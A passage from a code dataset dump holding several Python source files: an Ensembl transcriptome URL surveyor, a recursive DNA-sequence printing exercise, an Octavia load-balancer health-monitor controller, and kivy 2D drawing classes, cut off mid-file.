fold_instances = np.random.choice(\n values_size, n_train + n_validation + n_test, replace=False)\n train = fold_instances[:n_train]\n validation = fold_instances[n_train:n_train + n_validation]\n test = fold_instances[n_train + n_validation:]\n\n np.save(\"{}/{}.train.npy\".format(DATASET_FOLDER, fold), train)\n np.save(\"{}/{}.validation.npy\".format(DATASET_FOLDER, fold), validation)\n np.save(\"{}/{}.test.npy\".format(DATASET_FOLDER, fold), test)\n # end\n\n\nif __name__ == \"__main__\":\n fire.Fire(prepare_dataset)\n","sub_path":"prototypes/orbit/prepare_dataset.py","file_name":"prepare_dataset.py","file_ext":"py","file_size_in_byte":6441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"286498261","text":"import re\nimport urllib\n\nfrom abc import ABC\nfrom django.utils import timezone\nfrom typing import List, Dict\n\nfrom data_refinery_common.job_lookup import ProcessorPipeline, Downloaders\nfrom data_refinery_common.logging import get_and_configure_logger\nfrom data_refinery_common.models import (\n OriginalFile,\n SurveyJobKeyValue,\n)\nfrom data_refinery_foreman.surveyor import utils\nfrom data_refinery_foreman.surveyor.external_source import ExternalSourceSurveyor\n\nlogger = get_and_configure_logger(__name__)\n\n\nMAIN_DIVISION_URL_TEMPLATE = \"https://rest.ensembl.org/info/species?content-type=application/json\"\nDIVISION_URL_TEMPLATE = (\"https://rest.ensembl.org/info/genomes/division/{division}\"\n \"?content-type=application/json\")\n\nTRANSCRIPTOME_URL_TEMPLATE = (\"ftp://ftp.{url_root}/fasta/{species_sub_dir}/dna/\"\n \"{filename_species}.{assembly}.dna.{schema_type}.fa.gz\")\nGTF_URL_TEMPLATE = (\"ftp://ftp.{url_root}/gtf/{species_sub_dir}/\"\n \"{filename_species}.{assembly}.{assembly_version}.gtf.gz\")\n\n\n# For whatever reason the division in the download URL is shortened in\n# a way that doesn't seem to be discoverable programmatically. I've\n# therefore created this lookup map:\nDIVISION_LOOKUP = {\"EnsemblPlants\": \"plants\",\n \"EnsemblFungi\": \"fungi\",\n \"EnsemblBacteria\": \"bacteria\",\n \"EnsemblProtists\": \"protists\",\n \"EnsemblMetazoa\": \"metazoa\"}\n\n\n# Ensembl will periodically release updated versions of the\n# assemblies. All divisions other than the main one have identical\n# release versions. These urls will return what the most recent\n# release version is.\nMAIN_RELEASE_URL = \"https://rest.ensembl.org/info/software?content-type=application/json\"\nDIVISION_RELEASE_URL = \"https://rest.ensembl.org/info/eg_version?content-type=application/json\"\n\n\nclass EnsemblUrlBuilder(ABC):\n \"\"\"Generates URLs for different divisions of Ensembl.\n\n Each division of Ensembl has different conventions for its\n URLs. The logic contained in the init method of this base class is\n appropriate for most, but not all of the divisions. However, the\n logic contained in the build_* methods of this class is\n appropriate for all divisions.\n \"\"\"\n\n def __init__(self, species: Dict):\n \"\"\"Species is a Dict containing parsed JSON from the Division API.\"\"\"\n self.url_root = \"ensemblgenomes.org/pub/release-{assembly_version}/{short_division}\"\n self.short_division = DIVISION_LOOKUP[species[\"division\"]]\n self.assembly = species[\"assembly_name\"].replace(\" \", \"_\")\n self.assembly_version = utils.requests_retry_session().get(DIVISION_RELEASE_URL).json()[\"version\"]\n\n self.species_sub_dir = species[\"name\"]\n self.filename_species = species[\"name\"].capitalize()\n\n # These fields aren't needed for the URL, but they vary between\n # the two REST APIs.\n self.scientific_name = species[\"name\"].upper()\n self.taxonomy_id = species[\"taxonomy_id\"]\n\n def build_transcriptome_url(self) -> str:\n url_root = self.url_root.format(assembly_version=self.assembly_version,\n short_division=self.short_division)\n url = TRANSCRIPTOME_URL_TEMPLATE.format(url_root=url_root,\n species_sub_dir=self.species_sub_dir,\n filename_species=self.filename_species,\n assembly=self.assembly,\n schema_type=\"primary_assembly\")\n\n # If the primary_assembly is not available use toplevel instead.\n try:\n # Ancient unresolved bug. WTF python: https://bugs.python.org/issue27973\n urllib.request.urlcleanup()\n file_handle = urllib.request.urlopen(url)\n file_handle.close()\n urllib.request.urlcleanup()\n except:\n url = url.replace(\"primary_assembly\", \"toplevel\")\n\n return url\n\n def build_gtf_url(self) -> str:\n url_root = self.url_root.format(assembly_version=self.assembly_version,\n short_division=self.short_division)\n return GTF_URL_TEMPLATE.format(url_root=url_root,\n species_sub_dir=self.species_sub_dir,\n filename_species=self.filename_species,\n assembly=self.assembly,\n assembly_version=self.assembly_version)\n\n\nclass MainEnsemblUrlBuilder(EnsemblUrlBuilder):\n \"\"\"Special logic specific to the main Ensembl division.\n\n There is one Ensembl division which is just called Ensembl. This\n is confusing so I refer to it as the main Ensembl division. It\n follows the same general pattern as the rest of them for URLs, but\n just not quite the same base URL structure. Also its REST API\n returns JSON with similar data except with slightly different key\n names.\n \"\"\"\n\n def __init__(self, species: Dict):\n self.url_root = \"ensembl.org/pub/release-{assembly_version}\"\n self.short_division = None\n self.species_sub_dir = species[\"name\"]\n self.filename_species = species[\"name\"].capitalize()\n self.assembly = species[\"assembly\"]\n self.assembly_version = utils.requests_retry_session().get(\n MAIN_RELEASE_URL).json()[\"release\"]\n self.scientific_name = self.filename_species.replace(\"_\", \" \")\n self.taxonomy_id = species[\"taxon_id\"]\n\n\nclass EnsemblProtistsUrlBuilder(EnsemblUrlBuilder):\n \"\"\"Special logic specific to the EnsemblProtists division.\n\n EnsemblProtists is special because the first letter of the species\n name is always capitalized within the name of the file, instead of\n only when there's not a collection subnested.\n \"\"\"\n\n def __init__(self, species: Dict):\n super().__init__(species)\n self.filename_species = species[\"species\"].capitalize()\n\n\nclass EnsemblFungiUrlBuilder(EnsemblProtistsUrlBuilder):\n \"\"\"The EnsemblFungi URLs work the similarly to Protists division.\n\n EnsemblFungi is special because there is an assembly_name TIGR\n which needs to be corrected to CADRE for some reason.\n \"\"\"\n\n def __init__(self, species: Dict):\n super().__init__(species)\n if self.assembly == \"TIGR\":\n self.assembly = \"CADRE\"\n\n\ndef ensembl_url_builder_factory(species: Dict) -> EnsemblUrlBuilder:\n \"\"\"Returns instance of EnsemblUrlBuilder or one of its subclasses.\n\n The class of the returned object is based on the species' division.\n \"\"\"\n if species[\"division\"] == \"EnsemblProtists\":\n return EnsemblProtistsUrlBuilder(species)\n elif species[\"division\"] == \"EnsemblFungi\":\n return EnsemblFungiUrlBuilder(species)\n elif species[\"division\"] == \"EnsemblVertebrates\":\n return MainEnsemblUrlBuilder(species)\n else:\n return EnsemblUrlBuilder(species)\n\n\nclass TranscriptomeIndexSurveyor(ExternalSourceSurveyor):\n def source_type(self):\n return Downloaders.TRANSCRIPTOME_INDEX.value\n\n def _clean_metadata(self, species: Dict) -> Dict:\n \"\"\"Removes fields from metadata which shouldn't be stored.\n\n Also cast any None values to str so they can be stored in the\n database.\n These fields shouldn't be stored because:\n The taxonomy id is stored as fields on the Organism.\n Aliases and groups are lists we don't need.\n \"\"\"\n species.pop(\"taxon_id\") if \"taxon_id\" in species else None\n species.pop(\"taxonomy_id\") if \"taxonomy_id\" in species else None\n species.pop(\"aliases\") if \"aliases\" in species else None\n species.pop(\"groups\") if \"groups\" in species else None\n\n # Cast to List since we're modifying the size of the dict\n # while iterating over it\n for k, v in list(species.items()):\n if v is None:\n species.pop(k)\n else:\n species[k] = str(v)\n\n return species\n\n def _generate_files(self, species: Dict) -> None:\n url_builder = ensembl_url_builder_factory(species)\n fasta_download_url = url_builder.build_transcriptome_url()\n gtf_download_url = url_builder.build_gtf_url()\n \n platform_accession_code = species.pop(\"division\")\n self._clean_metadata(species)\n\n all_new_files = []\n\n fasta_filename = url_builder.filename_species + \".fa.gz\"\n original_file = OriginalFile()\n original_file.source_filename = fasta_filename\n original_file.source_url = fasta_download_url\n original_file.is_archive = True\n original_file.is_downloaded = False\n original_file.save()\n all_new_files.append(original_file)\n\n gtf_filename = url_builder.filename_species + \".gtf.gz\"\n original_file = OriginalFile()\n original_file.source_filename = gtf_filename\n original_file.source_url = gtf_download_url\n original_file.is_archive = True\n original_file.is_downloaded = False\n original_file.save()\n all_new_files.append(original_file)\n\n return all_new_files\n\n def survey(self, source_type=None) -> bool:\n \"\"\"\n Surveying here is a bit different than discovering an experiment\n and samples.\n \"\"\"\n if source_type != \"TRANSCRIPTOME_INDEX\":\n return False\n\n try:\n species_files = self.discover_species()\n except Exception:\n logger.exception((\"Exception caught while discovering species. \"\n \"Terminating survey job.\"),\n survey_job=self.survey_job.id)\n return False\n\n try:\n for specie_file_list in species_files:\n self.queue_downloader_job_for_original_files(specie_file_list,\n is_transcriptome=True)\n except Exception:\n logger.exception((\"Failed to queue downloader jobs. \"\n \"Terminating survey job.\"),\n survey_job=self.survey_job.id)\n return False\n\n return True\n\n def discover_species(self):\n ensembl_division = (\n SurveyJobKeyValue\n .objects\n .get(survey_job_id=self.survey_job.id,\n key__exact=\"ensembl_division\")\n .value\n )\n\n logger.info(\"Surveying %s division of ensembl.\",\n ensembl_division,\n survey_job=self.survey_job.id)\n\n # The main division has a different base URL for its REST API.\n if ensembl_division == \"Ensembl\":\n r = utils.requests_retry_session().get(MAIN_DIVISION_URL_TEMPLATE)\n\n # Yes I'm aware that specieses isn't a word. However I need to\n # distinguish between a singlular species and multiple species.\n specieses = r.json()[\"species\"]\n else:\n r = utils.requests_retry_session().get(DIVISION_URL_TEMPLATE.format(division=ensembl_division))\n specieses = r.json()\n\n try:\n organism_name = SurveyJobKeyValue.objects.get(survey_job_id=self.survey_job.id,\n key__exact=\"organism_name\").value\n organism_name = organism_name.lower().replace(' ', \"_\")\n except SurveyJobKeyValue.DoesNotExist:\n organism_name = None\n\n all_new_species = []\n if organism_name:\n for species in specieses:\n # This key varies based on whether the division is the\n # main one or not... why couldn't they just make them\n # consistent?\n if ('species' in species and species['species'] == organism_name) \\\n or ('name' in species and species['name'] == organism_name):\n all_new_species.append(self._generate_files(species))\n break\n else:\n for species in specieses:\n all_new_species.append(self._generate_files(species))\n\n if len(all_new_species) == 0:\n logger.error(\"Unable to find any species!\",\n ensembl_division=ensembl_division,\n organism_name=organism_name)\n\n return all_new_species\n","sub_path":"foreman/data_refinery_foreman/surveyor/transcriptome_index.py","file_name":"transcriptome_index.py","file_ext":"py","file_size_in_byte":12489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"501208825","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\na7task2.py Created by A.J. Turner on 09 February 2016. This program modifies fix_me.py created by\nBrant C Faircloth on 03 February 2016.\nCopyright 2016 A.J. Turner. All rights reserved.\n\n\"\"\"\n\n\ndef sequence_eater(sequence, position):\n\tprint(sequence[position])\n\tposition += 1 #changed from '-= 1' because it printed position zero followed by the rest of the \n\t#sequence in reverse\n\tif position >= len(sequence):\n\t\treturn #return with a black is needed to stop the recursive function at end of sequence\n\telse:\n\t\tsequence_eater(sequence, position) #recursive function singling out nucleotides within\n\t\t#a given sequence\n\t\n\ndef main():\n\tsequence = \"ATCGCGTAGCACGACTCTGCTCGC\"\n\tsequence_eater(sequence, 0)\n\n\nif __name__ == '__main__':\n\tmain()","sub_path":"answers/turneraj/a7task2.py","file_name":"a7task2.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"87063012","text":"# Copyright 2014 Rackspace\n# Copyright 2016 Blue Box, an IBM Company\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom oslo_db import exception as odb_exceptions\nfrom oslo_log import log as logging\nfrom oslo_utils import excutils\nimport pecan\nfrom wsmeext import pecan as wsme_pecan\n\nfrom octavia.api.v1.controllers import base\nfrom octavia.api.v1.types import health_monitor as hm_types\nfrom octavia.common import constants\nfrom octavia.common import data_models\nfrom octavia.common import exceptions\nfrom octavia.db import api as db_api\nfrom octavia.db import prepare as db_prepare\n\nLOG = logging.getLogger(__name__)\n\n\nclass HealthMonitorController(base.BaseController):\n\n def __init__(self, load_balancer_id, pool_id, listener_id=None):\n super(HealthMonitorController, self).__init__()\n self.load_balancer_id = load_balancer_id\n self.listener_id = listener_id\n self.pool_id = pool_id\n self.handler = self.handler.health_monitor\n\n def _get_db_hm(self, session):\n \"\"\"Gets the current health monitor object from the database.\"\"\"\n db_hm = self.repositories.health_monitor.get(\n session, pool_id=self.pool_id)\n if not db_hm:\n LOG.info(\"Health Monitor for Pool %s was not found\",\n self.pool_id)\n raise exceptions.NotFound(\n resource=data_models.HealthMonitor._name(),\n id=self.pool_id)\n return db_hm\n\n @wsme_pecan.wsexpose(hm_types.HealthMonitorResponse)\n def get_all(self):\n \"\"\"Gets a single health monitor's details.\"\"\"\n # NOTE(blogan): since a pool can only have one health monitor\n # we are using the get_all method to only get the single health monitor\n context = pecan.request.context.get('octavia_context')\n db_hm = self._get_db_hm(context.session)\n return self._convert_db_to_type(db_hm, hm_types.HealthMonitorResponse)\n\n def _get_affected_listener_ids(self, session, hm=None):\n \"\"\"Gets a list of all listeners this request potentially affects.\"\"\"\n listener_ids = []\n if hm:\n listener_ids = [l.id for l in hm.pool.listeners]\n else:\n pool = self._get_db_pool(session, self.pool_id)\n listener_ids = [listener.id for listener in pool.listeners]\n if self.listener_id and self.listener_id not in listener_ids:\n listener_ids.append(self.listener_id)\n return listener_ids\n\n def _test_lb_and_listener_statuses(self, session, hm=None):\n \"\"\"Verify load balancer is in a mutable state.\"\"\"\n # We need to verify that any listeners referencing this pool are also\n # mutable\n if not self.repositories.test_and_set_lb_and_listeners_prov_status(\n session, self.load_balancer_id,\n constants.PENDING_UPDATE, constants.PENDING_UPDATE,\n listener_ids=self._get_affected_listener_ids(session, hm)):\n LOG.info(\"Health Monitor cannot be created or modified \"\n \"because the Load Balancer is in an immutable state\")\n lb_repo = self.repositories.load_balancer\n db_lb = lb_repo.get(session, id=self.load_balancer_id)\n raise exceptions.ImmutableObject(resource=db_lb._name(),\n id=self.load_balancer_id)\n\n @wsme_pecan.wsexpose(hm_types.HealthMonitorResponse,\n body=hm_types.HealthMonitorPOST, status_code=202)\n def post(self, health_monitor):\n \"\"\"Creates a health monitor on a pool.\"\"\"\n context = pecan.request.context.get('octavia_context')\n\n health_monitor.project_id = self._get_lb_project_id(\n context.session, self.load_balancer_id)\n\n try:\n db_hm = self.repositories.health_monitor.get(\n context.session, pool_id=self.pool_id)\n if db_hm:\n raise exceptions.DuplicateHealthMonitor()\n except exceptions.NotFound:\n pass\n\n lock_session = db_api.get_session(autocommit=False)\n if self.repositories.check_quota_met(\n context.session,\n lock_session,\n data_models.HealthMonitor,\n health_monitor.project_id):\n lock_session.rollback()\n raise exceptions.QuotaException(\n resource=data_models.HealthMonitor._name()\n )\n\n try:\n hm_dict = db_prepare.create_health_monitor(\n health_monitor.to_dict(render_unsets=True), self.pool_id)\n self._test_lb_and_listener_statuses(lock_session)\n\n db_hm = self.repositories.health_monitor.create(lock_session,\n **hm_dict)\n db_new_hm = self._get_db_hm(lock_session)\n lock_session.commit()\n except odb_exceptions.DBError:\n lock_session.rollback()\n raise exceptions.InvalidOption(value=hm_dict.get('type'),\n option='type')\n except Exception:\n with excutils.save_and_reraise_exception():\n lock_session.rollback()\n\n try:\n LOG.info(\"Sending Creation of Health Monitor for Pool %s to \"\n \"handler\", self.pool_id)\n self.handler.create(db_hm)\n except Exception:\n for listener_id in self._get_affected_listener_ids(\n context.session):\n with excutils.save_and_reraise_exception(reraise=False):\n self.repositories.listener.update(\n context.session, listener_id,\n operating_status=constants.ERROR)\n return self._convert_db_to_type(db_new_hm,\n hm_types.HealthMonitorResponse)\n\n @wsme_pecan.wsexpose(hm_types.HealthMonitorResponse,\n body=hm_types.HealthMonitorPUT, status_code=202)\n def put(self, health_monitor):\n \"\"\"Updates a health monitor.\n\n Updates a health monitor on a pool if it exists. Only one health\n monitor is allowed per pool so there is no need for a health monitor\n id.\n \"\"\"\n context = pecan.request.context.get('octavia_context')\n db_hm = self._get_db_hm(context.session)\n self._test_lb_and_listener_statuses(context.session, hm=db_hm)\n\n self.repositories.health_monitor.update(\n context.session, db_hm.id,\n provisioning_status=constants.PENDING_UPDATE)\n\n try:\n LOG.info(\"Sending Update of Health Monitor for Pool %s to handler\",\n self.pool_id)\n self.handler.update(db_hm, health_monitor)\n except Exception:\n with excutils.save_and_reraise_exception(reraise=False):\n for listener_id in self._get_affected_listener_ids(\n context.session, db_hm):\n self.repositories.listener.update(\n context.session, listener_id,\n operating_status=constants.ERROR)\n db_hm = self._get_db_hm(context.session)\n return self._convert_db_to_type(db_hm, hm_types.HealthMonitorResponse)\n\n @wsme_pecan.wsexpose(None, status_code=202)\n def delete(self):\n \"\"\"Deletes a health monitor.\"\"\"\n context = pecan.request.context.get('octavia_context')\n db_hm = self._get_db_hm(context.session)\n self._test_lb_and_listener_statuses(context.session, hm=db_hm)\n\n try:\n LOG.info(\"Sending Deletion of Health Monitor for Pool %s to \"\n \"handler\", self.pool_id)\n self.handler.delete(db_hm)\n except Exception:\n with excutils.save_and_reraise_exception(reraise=False):\n for listener_id in self._get_affected_listener_ids(\n context.session, db_hm):\n self.repositories.listener.update(\n context.session, listener_id,\n operating_status=constants.ERROR)\n db_hm = self.repositories.health_monitor.get(\n context.session, pool_id=self.pool_id)\n return self._convert_db_to_type(db_hm, hm_types.HealthMonitorResponse)\n","sub_path":"octavia/api/v1/controllers/health_monitor.py","file_name":"health_monitor.py","file_ext":"py","file_size_in_byte":8814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"391421831","text":"\"\"\"\nAuxiliary drawables for 2D game support.\n\nThis module provides support for non-rectangular objects such as triangles, polygons,\nand paths (e.g. lines with width). \n\nAuthor: Walker M. White (wmw2)\nDate: August 1, 2017 (Python 3 version)\n\"\"\"\n# Lower-level kivy modules to support animation\nfrom kivy.graphics import *\nfrom kivy.graphics.instructions import *\nfrom .gobject import GObject\n\n\ndef same_side(p1, p2, a, b):\n \"\"\"\n Checks whether two points are on the same side of a line segment.\n \n :param p1: A point represented as a 2-element sequence of numbers\n :type p1: ``list`` or ``tuple``\n \n :param p2: A point represented as a 2-element sequence of numbers\n :type p2: ``list`` or ``tuple``\n \n :param a: One end of a line segment, represented as a 2-element sequence of numbers\n :type a: ``list`` or ``tuple``\n \n :param b: Another end of a line segment, represented as a 2-element sequence of numbers\n :type b: ``list`` or ``tuple``\n \n :return: True if ``p1``, ``p2`` are on the same side of segment ``ba``; False otherwise\n :rtype: ``bool``\n \"\"\"\n import numpy as np\n ba = np.append(np.subtract(b,a),[0])\n cp1 = np.cross(ba,np.subtract(p1,a))\n cp2 = np.cross(ba,np.subtract(p2,a))\n return np.dot(cp1,cp2) >= 0\n\n\ndef in_triangle(p, t):\n \"\"\"\n Checks whether a point is inside of a triangle\n \n :param p: A point in 2 dimensions\n :type p: 2-element list of ``int`` or ``float``\n \n :param t: A triangle defined by 3 points\n :type t: 6-element list of ``int`` or ``float``\n \n :return: True if ``p`` is in triangle ``t``; False otherwise\n :rtype: ``bool``\n \"\"\"\n return (same_side(p, t[0:2], t[2:4], t[4:6]) and\n same_side(p, t[2:4], t[0:2], t[4:6]) and\n same_side(p, t[4:6], t[0:2], t[2:4]))\n\n\ndef is_point_tuple(t,minsize):\n \"\"\"\n Checks whether a value is an EVEN sequence of numbers.\n \n The number of points tuple must be size greater than or equal to ``minsize``, or the \n function returns False. As a point is a pair of numbers, this means the length of\n list ``t`` must be at least **twice** ``minsize``.\n \n :param t: The value to test\n :type t: any\n \n :param minsize: The minimum number of points in the sequence\n :type minsize: ``int`` >= 0\n \n :return: True if t is a point sequence (i.e. even sequence of numbers); False otherwise\n :rtype: ``bool``\n \"\"\"\n try:\n from functools import reduce\n return len(t) % 2 == 0 and len(t) >= 2*minsize and \\\n reduce(lambda x, y: x and y, map(lambda z: type(z) in [int, float], t))\n except:\n return False\n\n\n# #mark -\nclass GPath(GObject):\n \"\"\"\n A class representing a sequence of line segments\n \n The path is defined by the ``points`` attribute which is an (even) sequence of \n alternating x and y values. When drawn in a :class:`GView` object, the line starts \n from one x-y pair in ``points`` and goes to the next x-y pair. If ``points`` has \n length 2n, then the result is n-1 line segments.\n \n The object uses the attribute ``linecolor`` to determine the color of the line and the\n attribute ``linewidth`` to determine the width. The attribute ``fillcolor`` is unused \n (even though it is inherited from :class:`GObject`).\n \n The attributes ``width`` and ``height`` are present in this object, but they are now\n read-only. These values are computed from the list of points.\n \n On the other hand, the attributes ``x`` and ``y`` are used. By default, these values\n are 0. However, if they are nonzero, then Python will add them to all of the points\n in the path, shifting the path accordingly.\n \"\"\"\n \n # MUTABLE PROPERTIES\n @property\n def points(self):\n \"\"\"\n The sequence of points that make up this line.\n \n **Invariant**: Must be a sequence (list or tuple) of int or float. \n The length of this sequence must be even with length at least 4.\n \"\"\"\n return self._points\n \n @points.setter\n def points(self,value):\n assert is_point_tuple(value,2),'value %s is not a valid list of points' % repr(value)\n self._points = tuple(value)\n if self._defined:\n self._reset()\n \n @property\n def linewidth(self):\n \"\"\"\n The width of this path.\n \n Setting this value to 0 means that the path is invisible.\n \n **Invariant**: Must be an int or float >= 0.\n \"\"\"\n return self._linewidth\n \n @linewidth.setter\n def linewidth(self,value):\n assert type(value) in [int,float], 'value %s is not a number' % repr(value)\n assert value >= 0, 'value %s is negative' % repr(value)\n self._linewidth = value\n if self._defined:\n self._reset()\n \n \n # IMMUTABLE PROPERTIES\n @property\n def width(self):\n \"\"\"\n The horizontal width of this path. \n \n The value is the width of the smallest bounding box that contains all of the\n points in the line AND the origin (0,0).\n \n **Invariant**: Must be an int or float > 0.\n \"\"\" \n px = self.points[::2]+(0,0)\n return 2*max(max(px),-min(px))\n \n @property\n def height(self):\n \"\"\"\n The vertical height of this path. \n \n The value is the height of the smallest bounding box that contains all of the\n points in the line AND the origin (0,0).\n \n **Invariant**: Must be an int or float > 0.\n \"\"\" \n py = self.points[1::2]+(0,0)\n return 2*max(max(py),-min(py))\n \n \n # BUILT-IN METHODS\n def __init__(self,**keywords):\n \"\"\"\n Creates a new sequence of line segments.\n \n To use the constructor for this class, you should provide it with a list of \n keyword arguments that initialize various attributes. For example, to create a \n path from (0,0) to (2,3) with width 2, use the constructor call\n \n GPath(points=[0,0,2,3],linewidth=2)\n \n This class supports the same keywords as :class:`GObject`, though some of them \n are unused, as the ``width`` and ``height`` attributes are now immutable. The \n primary keywords for this class are ``points``, ``linecolor``, and ``linewidth``.\n \n :param keywords: dictionary of keyword arguments \n :type keywords: keys are attribute names\n \"\"\"\n self._defined = False\n self.linewidth = keywords['linewidth'] if 'linewidth' in keywords else 1.0\n self.points = keywords['points'] if 'points' in keywords else (0,0,10,10)\n if not 'linecolor' in keywords:\n keywords['linecolor'] = (1,1,1,1)\n GObject.__init__(self,**keywords)\n self._reset()\n self._defined = True\n \n \n # PUBLIC METHODS\n def contains(self,point):\n \"\"\"\n Checks whether this shape contains the point\n \n This method always returns `False` as a ``GPath`` has no interior.\n \n :param point: the point to check\n :type point: :class:`Point2`` or a pair of numbers\n \n :return: True if the shape contains this point\n :rtype: ``bool``\n \"\"\"\n return False\n \n def near(self,point):\n \"\"\"\n Checks whether this path is near the given point\n \n To determine if (x,y) is near the path, we compute the minimum distances\n from (x,y) to the path. If this distance is less than e-6, we return True.\n \n :param point: the point to check\n :type point: :class:`Point2`` or a pair of numbers\n \n :return: True if this path is near the give point; False otherwise.\n :rtype: ``bool``\n \"\"\"\n if isinstance(point,Point2):\n point = (point.x,point.y)\n assert is_point_tuple(point,1),'value %s is not a valid point' % repr(point)\n x = point[0]\n y = point[1]\n \n size = len(self.points)/2\n epsilon = 1e-6\n for ii in range(size-1):\n p = self.points[2*ii :2*ii+2]\n q = self.points[2*ii+2:2*ii+4]\n if p == q:\n test = np.sqrt((q[0]-x)*(q[0]-x)+(q[1]-y)*(q[1]-y)) < epsilon\n else:\n num = abs((q[0]-p[0])*x-(q[1]-p[1])*y+q[0]*p[1]-p[0]*q[1])\n den = np.sqrt((q[0]-p[0])*(q[0]-p[0])+(q[1]-p[1])*(q[1]-p[1]))\n test = num/den\n if test:\n return True\n \n return self.contains(point)\n \n \n # HIDDEN METHODS\n def _reset(self):\n \"\"\"\n Resets the drawing cache\n \"\"\"\n GObject._reset(self)\n if not self._linecolor is None:\n self._cache.add(self._linecolor)\n line = Line(points=self.points,cap='round',joint='round',width=self.linewidth)\n self._cache.add(line)\n self._cache.add(PopMatrix())\n\n\n# #mark -\nclass GTriangle(GPath):\n \"\"\"\n A class representing a solid triangle.\n \n The triangle is defined as a sequence of three point. Just as with the `GPath` class\n (which is the parent of this class), it has an attribute `point` which represents\n this points as an even-length sequence of ints or floats.\n \n The interior (fill) color of this triangle is `fillcolor`, while `linecolor`\n is the color of the border. If `linewidth` is set to 0, then the border is \n not visible.\n \n As with `GPath`, the attributes `x` and `y` may be used to shift the triangle \n position. By default, these values are 0. However, if they are nonzero, then Python \n will add them to the triangle vertices. Similarly, the attributes `width` and \n `height` are immutable, and are computed directly from the points\n \"\"\"\n \n # MUTABLE PROPERTIES\n @property\n def points(self):\n \"\"\"\n The sequence of vertices that make up this trianle.\n \n **Invariant**: Must be a sequence (list or tuple) of int or float. \n The length of this sequence must be exactly 6.\n \"\"\"\n return self._points\n \n @points.setter\n def points(self,value):\n assert is_point_tuple(value,3),'value %s is not a valid list of points' % repr(value)\n assert len(value) == 6, 'value %s does not have the right length' % repr(value)\n self._points = tuple(value)\n if self._defined:\n self._reset()\n \n \n # BUILT-IN METHODS\n def __init__(self,**keywords):\n \"\"\"\n Creates a new solid triangle.\n \n To use the constructor for this class, you should provide it with a list of \n keyword arguments that initialize various attributes. For example, to create a \n red triangle with vertices (0,0), (2,3), and (0,4), use the constructor call::\n \n GTriangle(points=[0,0,2,3,0,4],fillcolor=colormodel.RED)\n \n As with :class:`GPath` the ``width`` and ``height`` attributes of this class are \n both immutable. They are computed from the list of points.\n \n :param keywords: dictionary of keyword arguments \n :type keywords: keys are attribute names\n \"\"\"\n self._defined = False\n self.linewidth = keywords['linewidth'] if 'linewidth' in keywords else 0.0\n self.points = keywords['points'] if 'points' in keywords else (-100,-58,0,116,100,-58)\n GObject.__init__(self,**keywords)\n self._reset()\n self._defined = True\n \n \n # PUBLIC METHODS\n def contains(self,point):\n \"\"\"\n Checks whether this shape contains the point\n \n By default, this method just checks the bounding box of the shape.\n \n **Warning**: Using this method on a rotated object may slow down your framerate.\n \n :param point: the point to check\n :type point: :class:`Point2`` or a pair of numbers\n \n :return: True if the shape contains this point\n :rtype: ``bool``\n \"\"\"\n if isinstance(point,Point2):\n point = (point.x,point.y)\n assert is_point_tuple(point,1), \"%s is not a valid point\" % repr(point)\n \n return in_triangle(points,self._points)\n \n \n # HIDDEN METHODS\n def _reset(self):\n \"\"\"\n Resets the drawing cache\n \"\"\"\n GObject._reset(self)\n \n vertices = ()\n for x in range(3):\n # Need to tack on degenerate texture coords\n vertices += self.points[2*x:2*x+2]+(0,0)\n mesh = Mesh(vertices=vertices, indices=range(3), mode='triangle_strip')\n self._cache.add(self._fillcolor)\n self._cache.add(mesh)\n \n if self.linewidth > 0:\n line = Line(points=self.points,joint='miter',close=True,width=self.linewidth)\n self._cache.add(self._linecolor)\n self._cache.add(line)\n \n self._cache.add(PopMatrix())\n\n\n# #mark -\nclass GPolygon(GPath):\n \"\"\"\n A class representing a solid polygon. \n \n The polygon is a triangle fan from the center of the polyon to the vertices in the\n attribute ``points``. The center of the polygon is always the point (0,0), unless \n you reassign the attributes ``x`` and ``y``. However, as with :class:`GPath`, if you\n assign the attributes ``x`` and ``y``, then Python will shift all of the vertices by \n that same amount. Hence the polygon vertices must be defined as triangle fan centered \n at the origin.\n \n The interior (fill) color of this polygon is ``fillcolor``, while ``linecolor``\n is the color of the border. If ``linewidth`` is set to 0, then the border is \n not visible.\n \n The polygon may also be textured by specifying a source image. The texture coordinates \n of each vertex will be relative to the size of the image. For example, if the image \n is 64x64, then the quad polygon (-32,-32,-32,32,32,32,32,-32) will be a rectangle \n equal to the image. You can adjust the size of the source image with the attributes\n `source_width` and `source_height`. If the polygon is larger than the image, then the \n texture will repeat.\n \n As with :class:`GPath`, the attributes ``width`` and ``height`` are immutable, and \n are computed directly from the points\n \"\"\"\n \n # MUTABLE PROPERTIES\n @property\n def points(self):\n \"\"\"\n The sequence of points that make up this polygon.\n \n **Invariant**: Must be a sequence (list or tuple) of int or float. \n The length of this sequence must be even with length at least 6.\n \"\"\"\n return self._points\n \n @points.setter\n def points(self,value):\n assert is_point_tuple(value,3),'value %s is not a valid list of points' % repr(value)\n self._points = tuple(value)\n if self._defined:\n self._reset()\n \n @property\n def source(self):\n \"\"\"\n The source image for texturing this polygon\n \n **Invariant**. Must be a string refering to a valid file.\n \"\"\"\n return self._source\n\n @source.setter\n def source(self,value):\n from .app import GameApp\n assert value is None or GameApp.is_image(value), 'value %s is not an image file' % repr(value)\n self._source = value\n if self._defined:\n self._reset()\n \n @property\n def source_width(self):\n \"\"\"\n The width to scale the source image.\n \n The texture coordinates of each vertex will be relative to the size of the image. \n For example, if the image is 64x64, then the polygon (-32,-32,-32,32,32,32,32,-32) \n will be a rectangle equal to the image.\n \n This attribute allows you to resize the image for these texture coordinates. So\n if the image is 512x64, setting this value to 64 will be as if the image was \n originally 64x64. If this value is None, the Python will use the normal width\n of the image file\n \n **Invariant**. Must be a number (int or float) > 0 or None.\n \"\"\"\n return self._source_width\n \n @source_width.setter\n def 